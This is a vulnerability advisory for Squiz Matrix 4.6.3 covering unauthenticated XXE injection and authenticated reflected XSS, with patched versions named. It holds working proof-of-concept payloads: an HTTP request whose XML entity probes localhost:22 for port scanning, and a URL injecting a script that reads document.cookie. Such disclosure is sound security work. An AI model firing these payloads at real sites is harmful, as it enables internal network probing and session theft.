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<b>Vendor Notification Date.</b>	02-Apr-2012
<b>Product.</b>	Squiz Matrix
<b>Platform.</b>	Independent
<b>Affected versions.</b>	4.6.3 (verified) and possibly others
<b>Severity Rating.</b>	Medium
<b>Impact.</b>	Exposure of session information Exposure of system information Exposure of network information Denial of Service
<b>Attack Vector.</b>	Remote unauthenticated (XXE); remote authenticated (XSS)
<b>Solution Status.</b>	Patched in version 4.6.5 and 4.8.1 releases (not verified by SOS)
<b>CVE reference.</b>	CVE - not yet assigned

The web application is vulnerable to multiple security vulnerabilities, such as XML eXternal Entities (XXE) injection and Cross-Site Scripting (XSS).

### 1. XXE Injection:

XXE injection allows a wide range of XML based attacks, including local file disclosure, TCP port scans and a Denial of Service (DoS) condition, which can be achieved by recursive entity injection, attribute blow up and other types of injection.

The following resource accessible by an unauthenticated user is vulnerable:

[/\\_admin/?SQ\\_ACTION=asset\\_map\\_request/](#)

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### Proof of Concept (port scanning).

#### Request:

```
POST /_admin/?SQ_ACTION=asset_map_request HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_02
Host: xxxxxx.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Proxy-Connection: keep-alive
Content-Length: 84
Connection: close
```

```
<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]>
<scan>&test;</scan>
```

#### Response:

```
HTTP/1.0 200 OK
Date: Tue, 27 Mar 2012 06:13:26 GMT
Server: Apache
Set-Cookie: SQ_SYSTEM_SESSION=472r0gjvcn0aqqsgbt7b42fi15;
domain=xxxxxxx.xxx; path=/;
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 214
Content-Type: text/xml
Connection: keep-alive
```

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```
<error>simplexml_load_file(http://localhost:22) [function.simplexml-load-file]: failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_4.3
```

```
File: [SYSTEM_ROOT]/core/lib/asset_map/asset_map.inc
```

```
Line:581</error>
```

## 2. XSS:

Cross-Site Scripting (XSS) may be used to steal session information, etc.

Several resources of the `/_admin` page are affected including:

`am_section` parameter, `assetid` parameter, `sq_asset_path` parameter, `sq_backend_log_type` parameter, `sq_link_path` parameter, `asset_ei_screen` parameter, `current_assetid` parameter and `tool_reindex_reindexing_root_assetid` [`assetid`] parameter.

### Proof of Concept.

```
/_admin/?SQ_BACKEND_PAGE=main&backend_section=am&am_section=edit_asset"><script>alert(document.cookie)</script>&assetid=73&sq_asset_path=%2C1%2C73&sq_link_path=%2C0%2C74&asset_ei_screen=details
```

### Solution.

Upgrade to version 4.6.5 or 4.8.1 releases.

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